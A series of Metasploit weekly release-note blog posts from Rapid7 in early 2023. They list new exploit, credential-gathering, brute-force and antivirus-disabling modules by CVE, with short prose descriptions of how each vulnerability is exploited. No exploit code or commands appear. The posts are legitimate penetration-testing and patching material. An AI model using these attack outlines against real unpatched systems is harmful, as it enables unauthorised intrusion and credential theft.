Whilst we did have a few cool new modules added this week, one particularly interesting one was a Fortinet FortiNAC vulnerability, CVE-2022-39952, that was added in by team member Jack Heysel. This module exploits an unauthenticated RCE in Fortinet FortiNAC versions 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7 to gain root level access to affected devices. This bug has seen active exploitation in the wild from several threat feeds such as ShadowServer at https://twitter.com/Shadowserver/status/1628140029322362880, so definitely patch if you haven’t done so already.

Tomcat Gives Me All The Shells

One other exploit we did want to call out this week was a local privilege escalation on Apache Tomcat prior to 7.0.54-8. Tomcat is widely deployed in a lot of environments, and this PR, exploiting CVE-2016-5425, allows you to escalate from an authenticated user to full root control over a web server by exploiting a file permissions issue. These vulnerabilities can be quite beneficial to attackers looking to gain further access to a network as often they will compromise a web server and then use that web server to start pivoting deeper into the network. Gaining root access to a web server can further assist them with these efforts. It’s also rather unusual to see a web server specifically being used to assist with local privilege escalation as most exploits tend to focus on using them to gain initial access, so we appreciate the efforts from h00die to add this into Metasploit.

New module content (3)

Fortinet FortiNAC keyUpload.jsp arbitrary file write

Authors: Gwendal Guégniaud, Zach Hanley, and jheysel-r7
Type: Exploit
Pull request: #17750 contributed by jheysel-r7
AttackerKB reference: CVE-2022-39952

Description: A new exploit has been added for CVE-2022-39952, a vulnerability in FortiNAC’s keyUpload.jsp page which allows for arbitrary file write as an unauthenticated user. Successful exploitation results in unauthenticated RCE in the context of the root user, giving full control over the target device.

Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation

Authors: Dawid Golunski and h00die
Type: Exploit
Pull request: #17509 contributed by h00die
AttackerKB reference: CVE-2016-5425

Description: This PR adds an exploit that targets a vulnerability in RedHat based systems where improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf for Apache Tomcat versions before 7.0.54-8, allowing attackers to inject commands into the systemd-tmpfiles service to write a cron job that will execute their payload. Successful exploitation should result in privilege escalation to the root user.

Bitbucket Environment Variable RCE

Authors: Ry0taK, Shelby Pace, and y4er
Type: Exploit
Pull request: #17775 contributed by space-r7
AttackerKB reference: CVE-2022-43781

Description: This adds an exploit module for CVE-2022-43781, an authenticated command injection vulnerability in various versions of Bitbucket. Arbitrary command execution is done by injecting specific environment variables into a user name and coercing the Bitbucket application into generating a diff. This module requires at least admin credentials. Successful exploitation results in RCE as the atlbitbucket user.

Enhancements and features (1)

• #17757 from adfoster-r7 – Updates the formatting logic for info command to improve the readability of the module description. Previously the module description was squashed into a single line, but now each paragraph and bullet list etc will be rendered on their own new lines.

Bugs fixed (1)

• #17774 from adfoster-r7 – A bug has been fixed when displaying the Metasploit banner due to use of an undefined function; this has been updated to use the proper function.

Documentation added (1)

• #17780 from gwillcox-r7 – This updates the list of mentors for GSoC 2023.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.6…6.3.8
• Full diff 6.3.6…6.3.8

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Jack Heysel original https://blog.rapid7.com/2023/03/10/metasploit-weekly-wrap-up-196/

Wowza, a new credential gatherer and login scanner!

This week Metasploit Framework gained a credential gatherer for Wowza Streaming Engine Manager. Credentials for this application are stored in a file named admin.password in a known location and the file is readable by default by BUILTIN\Users on Windows and is world readable on Linux.. The module was written by community contributor bcoles who also wrote a login scanner for Wowza this week. The login scanner can be used to validate the credentials found by the gatherer. The two modules complement each other quite nicely.

New module content (3)

Wowza Streaming Engine Manager Login Utility

Author: bcoles
Type: Auxiliary
Pull request: #17733 contributed by bcoles

Description: This adds a login scanner module to brute force credentials of Wowza Streaming Engine Manager.

SugarCRM unauthenticated Remote Code Execution (RCE)

Authors: Sw33t.0day and h00die-gr3y
Type: Exploit
Pull request: #17507 contributed by h00die-gr3y
AttackerKB reference: CVE-2023-22952

Description: A module has been added which exploits CVE-2023-22952, a RCE vulnerability in SugarCRM 11.0 Enterprise, Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and Serve versions prior to 12.0.2. Successful exploitation as an unauthenticated attacker will result in remote code execution as the user running the web services, which is typically www-data.

Gather Wowza Streaming Engine Credentials

Author: bcoles
Type: Post
Pull request: #17737 contributed by bcoles

Description: This adds a post module that collects Wowza Streaming Engine user credentials from the admin.password local configuration file. This file is world-readable by default on Linux and readable by BUILTIN\Users on Windows.

Enhancements and features (9)

• #17675 from adfoster-r7 – Updates the admin/kerberos/forge_ticket to support a new extra_sids option which can be useful for including cross-domain SIDs for forging external Kerberos trust tickets as part of cross-trust domain escalation. The admin/kerberos/inspect_ticket has also been updated to support viewing these extra SID values.
• #17686 from zeroSteiner – This adds 3 additional methods to the existing PetitPotam module to make it work even if the patch for CVE-2021-36942 has been installed. Note that it won’t work after the December 2021 patch.
• #17715 from zeroSteiner – The Metasploit Payload gem has been bumped to 2.0.115, bringing in support for the arp command to Python Meterpreter on Linux, and adding support for displaying IPv6 routing tables using the route command on Windows.
• #17727 from rohitkumarankam – Two new options have been added to the login scanner library: max_consecutive_error_count and max_error_count. These options allow users to set the maximum number of errors that are allowed to occur when connecting as well as the maximum number of consecutive errors that are allowed when connecting before the login scanner will give up on a target.
• #17744 from adfoster-r7 – The code for msfconsole has been updated so that performance profiling can also take into account the time it takes to load msfenv and console related libraries, thereby allowing for more accurate performance profiling.
• #17745 from gwillcox-r7 – This updates the metasploit-payloads gem to pull in changes to the Python Meterpreter on Windows to add the route add and route delete commands as well as the ability to get process information such as process names and paths.
• #17746 from todb-r7 – The data/wordlists/password.lst password list has been updated to include the master password that LastPass suggests as an example when a user goes to create a new master password, r50$K28vaIFiYxaY, into the password list, as well as to fix some encoding issues.
• #17749 from adfoster-r7 – Updates the auxiliary/admin/kerberos/keytab.rb module to additionally export any NTHASHES, which can be useful for decrypting Kerberos network traffic in Wireshark.
• #17756 from adfoster-r7 – Updates secrets dump to generate the Kerberos RC4 key for the machine account.

Bugs fixed (8)

• #17673 from bcoles – lib/msf/core/payload/apk.rb has been updated so that by default it only decompiles the main classes instead of all classes, fixing some issues whereby decompiling all classes would prevent creation of a backdoored APK. This also bumps up the minimum apktool version to 2.4.1 and makes it so that versions prior to 2.7.0 of apktool will throw a warning about being potentially out of date.
• #17716 from zeroSteiner – A bug has been fixed whereby the reverse port forward information message was displayed incorrectly, and the same information was shown on both the local and remote parts of the message.
• #17721 from zeroSteiner – This fixes an issue where payloads that were adapted failed when stage encoding was enabled because the stage encoding was based on the stager arch and platform values. These values were always the same until we introduced adapted payloads, which can vary.
• #17723 from jvoisin – A bug has been fixed in the modules/encoders/php/base64.rb encoder whereby strings were being passed as literal strings without being properly quoted, which could result in errors on newer versions of PHP.
• #17726 from zeroSteiner – The Metasploit Payloads gem has been updated bringing in initial support for attaching to processes on Python Meterpreter shells on Windows, a bug fix for the route command on newer versions of Windows on Windows Meterpreter, and a fix so that both C Meterpreter and Python Meterpreter sessions will attempt to enable the same set of permissions when running getprivs.
• #17729 from bcoles – Fixes an edge case crash when running Ruby 3.2
• #17738 from adfoster-r7 – Fix Ruby 3.2 crash when running certain tools
• #17758 from zeroSteiner – The metasploit-payloads gem has been bumped to fix a token handle leak that was causing Python Meterpreters to leave dangling handles after using getprivs, fix a error in packet_transmit_http whereby error codes were not appropriately returned, and update the arp command to properly return the interface name instead of the index for the interface column.

Documentation added (3)

• #17684 from adfoster-r7 – This PR adds the RBCD exploitation documentation to the docs site.
• #17688 from adfoster-r7 – This PR fixes several broken wiki links, as well as adding validation to users users don’t use the wrong syntax when making docs changes.
• #17743 from adfoster-r7 – A new page has been added to explain the METASPLOIT_CPU_PROFILE and METASPLOIT_MEMORY_PROFILE options and to explain how to profile msfconsole‘s and msfvenom‘s performance on systems.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.5…6.3.6
• Full diff 6.3.5…6.3.6

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Zachary Goldman original https://blog.rapid7.com/2023/03/03/metasploit-weekly-wrap-up-195/

2022 Vulnerability Intelligence Report Released

Rapid7’s broader vulnerability research team released our 2022 Vulnerability Intelligence Report this week. The report includes Metasploit and research team data on exploitation, exploitability, and vulnerability profiles that are intended to help security teams understand and prioritize risk more effectively. Put simply, security teams have way too much to do in a threat climate that’s seen some pretty crazy escalation the past few years, and understanding attack trends can help them make better risk-based choices.

There are some longer threads on key findings on Twitter and Mastodon. Some of the highlights:

• Rapid7 researchers saw a modest decrease in both widespread exploitation and zero-day exploitation of new vulnerabilities in 2022. Alas, widespread threats are still the majority of 2022 vulnerabilities in our dataset, and are double what they were in 2020.
• Attackers keep getting faster — more than half the vulns in the report were exploited within a week.
• Ransomware CVE stats got weird in 2022. There are probably a lot of intersectional reasons for this.

Read the full report here!

New module content (4)

Softing Secure Integration Server Login Utility

Author: Imran E. Dawoodjee
Type: Auxiliary
Pull request: #17676 contributed by ide0x90

Description: This adds a login module for the Softing Secure Integration Server software.

Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload

Authors: HMs, l1k3beef, and sf
Type: Exploit
Pull request: #17624 contributed by sfewer-r7
AttackerKB reference: CVE-2022-21587

Description: This pull request adds an exploit module for an arbitrary file upload vulnerability in Oracle Web Applications Desktop Integrator, as shipped with Oracle E-Business Suite versions 12.2.3 through to 12.2.11, which results in remote code execution. This has been observed to have been exploited in the wild.

Lucee Authenticated Scheduled Job Code Execution

Author: Alexander Philiotis
Type: Exploit
Pull request: #17638 contributed by JBince

Description: This adds a module to execute code using Lucee’s scheduled job functionality. The feature requires authentication as an administrator by default and allows a ColdFusion page to be rendered which is used to execute an OS command using the cfexecte directive. The module works on both Linux and Windows targets.

Disable ClamAV

Author: DLL_Cool_J
Type: Post
Pull request: #17672 contributed by archcloudlabs

Description: This PR includes a post module that will disable ClamAV on Linux systems. The bug resides in the ClamAV Unix socket permitting any user to submit the "shutdown" command which will disable ClamAV.

Enhancements and features (2)

• #17635 from dwelch-r7 – Updates the admin/kerberos/inspect_ticket module to display the ticket checksum and full PAC checksum
• #17699 from gwillcox-r7 – This adds SCHANNEL authentication support to LDAP modules.

Bugs fixed (5)

• #17562 from gwillcox-r7 – This fixes some incorrect Railgun definitions for the wldap32 Windows library.
• #17679 from adfoster-r7 – This PR fixes the broken payload selection for Metasploit RPC
• #17696 from zeroSteiner – The version of Metasploit Payloads in use by Metasploit has been bumped, which brings in support for the getprivs and getdesktop commands to Python Meterpreters running on Windows, and also adds support for getting the handle of processes opened via the session. Additionally, fixes were made to support Python 2.5 and to fix the getdesktop output of Python Meterpreters.
• #17697 from jheysel-r7 – This updates the exploit/linux/http/froxlor_log_path_rce module to note that Foxlor 2.0.7 is the last vulnerable version.
• #17700 from zeroSteiner – The argument validation for the route command has been reworked to improve the way it validates arguments and to print out more accurate error messages.

Documentation added (3)

• #17680 from adfoster-r7 – Improves the UX of the docs.metasploit.com module explorer. Adds ‘expand all’ and ‘collapse all’ buttons to the module explorer. Adds support for automatically opening descendant folders that only contain 1 item. Adds an additional parent folder to make it clearer to the user that the folders are clickable.
• #17687 from archcloudlabs – This PR contains additional examples on the ERB format required for the HTTPRawHeaders option for HTTP clients.
• #17695 from zeroSteiner – The LDAP query and collection projects have been removed from the GSOC 2023 list since they have already been implemented in https://github.com/rapid7/metasploit-framework/pull/16598.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.4…6.3.5
• Full diff 6.3.4…6.3.5

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Spencer McIntyre original https://blog.rapid7.com/2023/02/24/metasploit-wrap-up-194/

Basic discover script improvements

This week two improvements were made to the script/resource/basic_discovery.rc resource script. The first update from community member samsepi0x0 allowed commas in the RHOSTS value, making it easier to target multiple hosts. Additionally, adfoster-r7 improved the script by adding better handling for error output. This continues our trend of trying to provide more useful diagnostic information to our end users.

Google Summer of Code

The Metasploit Framework has been accepted to participate in Google’s Summer of Code program again for 2023. This event pairs new contributors with an experienced mentor as they work on an open source project (Metasploit in our case). We will soon be soliciting project proposals from the community for anyone interested in getting involved. Some project ideas are on the docs site, but folks are welcome to submit entirely new ideas for something they think would benefit the Metasploit community.

Web Based Module Counts

This week, adfoster-r7 improved our docs site with a running count of all the published modules. This information is kept up to date automatically and is a great resource for anyone looking for how many modules Metasploit has included without needing to install and start the framework. The page even allows users to dive deeper into types of modules and platforms in the same way as msfconsole.

New module content (2)

Froxlor Log Path RCE

Authors: Askar and jheysel-r7
Type: Exploit
Pull request: #17640 contributed by jheysel-r7
AttackerKB reference: CVE-2023-0315

Description: This module exploits a vulnerability in versions of Froxlor prior to 2.0.8 that allows an authenticated user to change the default log file to an arbitrary path on the system. Using this, an authenticated user can write a Twig template, that when rendered, will execute arbitrary code and grant a shell or Meterpreter session as the www-data user.

pyLoad js2py Python Execution

Authors: Spencer McIntyre and bAu
Type: Exploit
Pull request: #17652 contributed by zeroSteiner
AttackerKB reference: CVE-2023-0297

Description: This adds an exploit for CVE-2023-0297 which is an unauthenticated Javascript injection in pyLoad’s Click ‘N’ Load service.

Enhancements and features (1)

• #17674 from adfoster-r7 – Updates the script/resource/basic_discovery.rc script to better detect when the Metasploit database is not connected as well as improving error output.

Bugs fixed (2)

• #17650 from samsepi0x0 – Updates the script/resource/basic_discovery.rc script to support commas in RHOSTS values.
• #17660 from bugch3ck – This updates the location of where registry hives are temporarily stored by the windows_secrets_dump module.
• #17663 from manishkumarr1017 – This fixes an issue where action names were being treated as case sensitive.

Documentation added (2)

• #17637 from adfoster-r7 – This PR adds the latest module information to docs.metasploit.com as a quick way to explore Metasploit’s available modules.
• #17685 from samsepi0x0 – Fixes a broken link within Metasploit’s Google Summer of Code 2023 Project Ideas.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.3…6.3.4
• Full diff 6.3.3…6.3.4

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Jacquie Harris original https://blog.rapid7.com/2023/02/17/metasploit-wrap-up-193/

Cisco RV Series Auth Bypass and Command Injection

Thanks to community contributor neterum, Metasploit framework just gained an awesome new module which targets Cisco Small Business RV Series Routers. The module actually exploits two vulnerabilities, an authentication bypass CVE-2022-20705 and a command injection vulnerability CVE-2022-20707 in order to achieve code execution in the context of user www-data.

New module content (2)

Cisco RV Series Authentication Bypass and Command Injection

Authors: Biem Pham, Neterum, and jbaines-r7
Type: Exploit
Pull request: #17599 contributed by neterum
Attacker KB Reference: CVE-2022-20707

Description: An exploit for Cisco RV160, RV260, RV340 and RV345 Small Business Routers prior to firmware version 1.0.03.26 has been added which exploits CVE-2022-20705, an authentication bypass, and CVE-2022-20707, a command injection vulnerability, to achieve remote code execution as the www-data user on affected devices as an unauthenticated attacker.

GitLab GitHub Repo Import Deserialization RCE

Authors: Heyder Andrade, RedWay Security, and William Bowling (vakzz)
Type: Exploit
Pull request: #17281 contributed by heyder
AttackerKB reference: CVE-2022-2992

Description: This adds an exploit for CVE-2022-2992 which is authenticated remote command execution in GitLab.

Enhancements and features (1)

• #17594 from zeroSteiner – The DLL template code has been updated so that tools such as msfvenom can use DLL templates with payloads that were larger than 4096 bytes, such as unstaged payloads. Note that this update only applies to the default DLL templates that Metasploit provides, and not to external DLL templates which are restricted to 4096 bytes at this time.

Bugs fixed (1)

• #17645 from adfoster-r7 – Fixes a bug that caused warnings to be output on Arch Linux environments when starting msfconsole

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.2…6.3.3
• Full diff 6.3.2…6.3.3

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Navya Harika Karaka original https://blog.rapid7.com/2023/02/10/metasploit-weekly-wrap-up-192/

Taking a stroll down memory lane (Tomcat Init Script Privilege Escalation)

Do you remember the issue with Tomcat init script that was originally discovered by Dawid Golunski back in 2016 that led to privilege escalation? This week’s Metasploit release includes an exploit module for CVE-2016-1240 by h00die. This vulnerability allows any local users who already have tomcat accounts to perform privilege escalation and gain access to a target system as a root user. This exploit can be used against the following tomcat versions Tomcat 8 (8.0.36-2), Tomcat 7 (7.0.70-2) and Tomcat 6 (6.0.45+dfsg-1~deb8u1).

Lenovo Diagnostics Driver IOCTL memmove

Our own Jack Heysel contributed an exploit module for CVE-2022-3699 using the proof of concept created by alfarom256. A vulnerability within Lenovo Diagnostics Driver due to incorrect access control allows low-privileged users to issue device IOCTLs to perform arbitrary physical/virtual memory read/write.

New module content (8)

Nagios XI 5.5.6 to 5.7.5 – ConfigWizards Authenticated Remote Code Execution

Author: Matthew Mathur
Type: Exploit
Pull request: #17494 contributed by k0pak4
AttackerKB reference: CVE-2021-25298

Description: A new authenticated RCE module for NagiosXI has been added which exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298 to get a shell as the apache user on NagiosXI devices running version 5.5.6 to 5.7.5 inclusive.

F5 Big-IP Create Admin User

Author: Ron Bowes
Type: Exploit
Pull request: #17392 contributed by rbowes-r7

Description: This PR adds a privilege escalation module for F5 that uses the unsecured MCP socket to create a new root account.

Apache Tomcat on Ubuntu Log Init Privilege Escalation

Authors: Dawid Golunski and h00die
Type: Exploit
Pull request: #17483 contributed by h00die
AttackerKB reference: CVE-2016-1240

Description: Adds a new exploit/linux/local/tomcat_ubuntu_log_init_priv_esc module for CVE-2016-1240 targetting Tomcat (6, 7, 8). By default repositories on Debian-based distributions (including Debian, Ubuntu etc.) provide a vulnerable tomcat init script that allows local attackers who have already gained access to the tomcat account (for example, by exploiting an RCE vulnerability in a java web application hosted on Tomcat, uploading a webshell etc.) to escalate their privileges from tomcat user to root and fully compromise the target system.

Fortra GoAnywhere MFT Unsafe Deserialization RCE

Author: Ron Bowes
Type: Exploit
Pull request: #17607 contributed by rbowes-r7
AttackerKB reference: CVE-2023-0669

Description: This PR adds a module that exploits CVE-2023-0669, which is an object deserialization vulnerability in Fortra GoAnywhere MFT.

ManageEngine ADSelfService Plus Unauthenticated SAML RCE

Authors: Christophe De La Fuente, Khoa Dinh, and horizon3ai
Type: Exploit
Pull request: #17556 contributed by cdelafuente-r7
AttackerKB reference: CVE-2022-47966

Description: This PR adds an exploit that uses an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ADSelfService Plus versions 6210 and below (https://github.com/advisories/GHSA-4w3v-83v8-mg94).

ManageEngine ServiceDesk Plus Unauthenticated SAML RCE

Authors: Christophe De La Fuente, Khoa Dinh, and horizon3ai
Type: Exploit
Pull request: #17527 contributed by cdelafuente-r7
AttackerKB reference: CVE-2022-47966

Description: This adds an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below. (https://github.com/advisories/GHSA-4w3v-83v8-mg94).

ManageEngine Endpoint Central Unauthenticated SAML RCE

Authors: Christophe De La Fuente, Khoa Dinh, h00die-gr3y, and horizon3ai
Type: Exploit
Pull request: #17567 contributed by h00die-gr3y
AttackerKB reference: CVE-2022-47966

Description: This adds an exploit targeting CVE-2022-47966, an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10 and below. See https://github.com/advisories/GHSA-mqq7-v29v-25f6 and ManageEngine security advisory.

Lenovo Diagnostics Driver IOCTL memmove

Authors: alfarom256 and jheysel-r7
Type: Exploit
Pull request: #17371 contributed by jheysel-r7
AttackerKB reference: CVE-2022-3699

Description: This PR adds a module that makes use of incorrect access control for the Lenovo Diagnostics Driver allowing a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory read/write.

Enhancements and features (3)

• #17597 from bcoles – Fix notes for SideEffects and Reliability in the auxiliary/dos/mirageos/qubes_mirage_firewall_dos module.
• #17603 from dwelch-r7 – Updates admin/kerberos/inspect_ticket to show the UPN and DNS Information within a decrypted PAC.
• #17615 from adfoster-r7 – Adds missing module notes for stability, reliability, and side effects to several modules.

Bugs fixed (2)

• #17591 from zeroSteiner – A bug has been fixed in metasm_shell and nasm_shell whereby the shells were using readline but the dependency wasn’t correctly imported. This has since been fixed and improved validation has been added.
• #17592 from zeroSteiner – A bug has been fixed in the bypassuac_injection_winsxs module whereby a string was not properly being treated as being NULL terminated. Additionally, the definitions of the FindFirstFileA and FindFirstFileW functions have been corrected so that they work on x64 systems.

Documentation added (3)

• #17398 from bwatters-r7 – Adds additional details on using command stagers.
• #17587 from adfoster-r7 – This PR updates docs.metasploit.com to use the latest ruby conventions.
• #17595 from mkonda – Updates the documentation on debugging dead Meterpreter sessions to use the correct option name ReverseListenerBindAddress.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.1…6.3.2
• Full diff 6.3.1…6.3.2

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

Post Syndicated from Dean Welch original https://blog.rapid7.com/2023/02/03/metasploit-weekly-wrap-up-191/

Metasploit 6.3 is out!

Earlier this week we announced the release of Metasploit 6.3 which came with a tonne of new modules and improvements.
The whole team worked super hard on this and we’re very excited that everyone can now get their hands on it and all of the new features it has to offer!
I won’t go over everything we did here because we have a whole separate blog post dedicated to the 6.3 release that you should check out if you missed it.

Dirty Cow available on macOS

We have a new module provided by timwr to exploit Dirty Cow on macOS. This module exploits a race condition in the kernel that gives the opportunity for a user to get code execution as root.

New module content (5)

CWP login.php Unauthenticated RCE

Authors: Numan Türle and Spencer McIntyre
Type: Exploit
Pull request: #17511 contributed by zeroSteiner
AttackerKB reference: CVE-2022-44877

Description: Adds an exploit for CVE-2022-44877 which is an unauthenticated command injection in CentOS Control Web Panel <0.9.8.1147. Successful exploitation results in code execution as the root user.

io_uring Same Type Object Reuse Priv Esc

Authors: Mathias Krause, Ryota Shiga, and h00die
Type: Exploit
Pull request: #17301 contributed by h00die
AttackerKB reference: CVE-2022-1043

Description: This module exploits Linux LPE CVE-2022-1043, a bug in io_uring leading to an additional put_cred() that can be exploited to hijack credentials of other processes.

vmwgfx Driver File Descriptor Handling Priv Esc

Authors: Mathias Krause and h00die
Type: Exploit
Pull request: #17300 contributed by h00die
AttackerKB reference: CVE-2022-22942

Description: This PR adds a linux privilege escalation against VMWare virtual machines with kernel 4.14-rc1 – 5.17-rc1 due to a VMWare driver bug.

macOS Dirty Cow Arbitrary File Write Local Privilege Escalation

Authors: Ian Beer, Zhuowei Zhang, and timwr
Type: Exploit
Pull request: #17415 contributed by timwr
AttackerKB reference: CVE-2022-46689

Description: This module is the macOS equivalent of the Dirty Cow vulnerability and allows for an unprivileged user to execute code as root.

Veeam Backup and Replication Credentials Dump

Author: npm
Type: Post
Pull request: #17406 contributed by npm-cesium137-io

Description: Post credential capture module Veeam Backup & Recovery and Veeam ONE Monitor versions 9.x – 11.x.

Enhancements and features (11)

• #16946 from cgranleese-r7 – Updates the show targets and show actions command to display a visual indicator beside the currently selected value.
• #17481 from h00die – An update has been made to the modules/auxiliary/scanner/http/options.rb module to modernize a few of its options, tidy up the code, and to handle an edge case when a target server might respond with a Tomcat error page.
• #17504 from ErikWynter – Two aliases for show favorites have been added, namely favorite -l and favorites, to allow for easier listing of modules that users have marked as their favorites.
• #17559 from cgranleese-r7 – Adds support for Ruby 3.2
• #17560 from adfoster-r7 – Updates the Kerberos inspect_ticket module to show unsupported pac buffer ul_types in a clearer way to the user.
• #17563 from bcoles – Improves documentation and code quality for modules/exploits/multi/local.
• #17564 from serializingme – Improves the CIPCTlv definition for the exploits/windows/local/anyconnect_lpe module.
• #17570 from zeroSteiner – The list of default queries used by the ldap_query module has been updated to add in the ENUM_DOMAIN and ENUM_MACHINE_ACCOUNT_QUOTA queries and to make some small updates to existing queries.
• #17575 from zeroSteiner – Updates the Kerberos ccache functionality to automatically perform sname switching on Service Tickets when the ticket sname does not match the Metasploit module’s required sname. This allows for a service ticket associated with the SPN service_a/host.domain.local to be used and updated to service_b/host.domain.local dynamically as part of service authentication.
• #17577 from bcoles – Updates modules/exploits/qnx to run the check command before attempting to exploit the target.
• #17581 from bcoles – This PR modifies the conditions in 45 local privilege escalation modules to check whether the operator set ForceExploit to true before checking the permissions required for exploitation on the remote target, which is more efficient and quieter over the network.

Bugs fixed (4)

• #17444 from hamax97 – A bug has been fixed whereby issuing a command line argument that contained nested equals signs would not be parsed correctly, and would instead be treated as two separate command line statements.
• #17557 from zeroSteiner – This fixes the logon timestamp in the MS14-068 exploit so the generated ticket works.
• #17558 from cgranleese-r7 – Fixes running msfconsole’s analyze command crashing when a WinRM session was opened.
• #17561 from gwillcox-r7 – This fixes the direction for some Railgun function definitions in iphlpapi.

Documentation added (1)

• #17565 from adfoster-r7 – Updates the docs site to add color to Metasploit console examples.

You can always find more documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

• Pull Requests 6.3.0…6.3.1
• Full diff 6.3.0…6.3.1

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).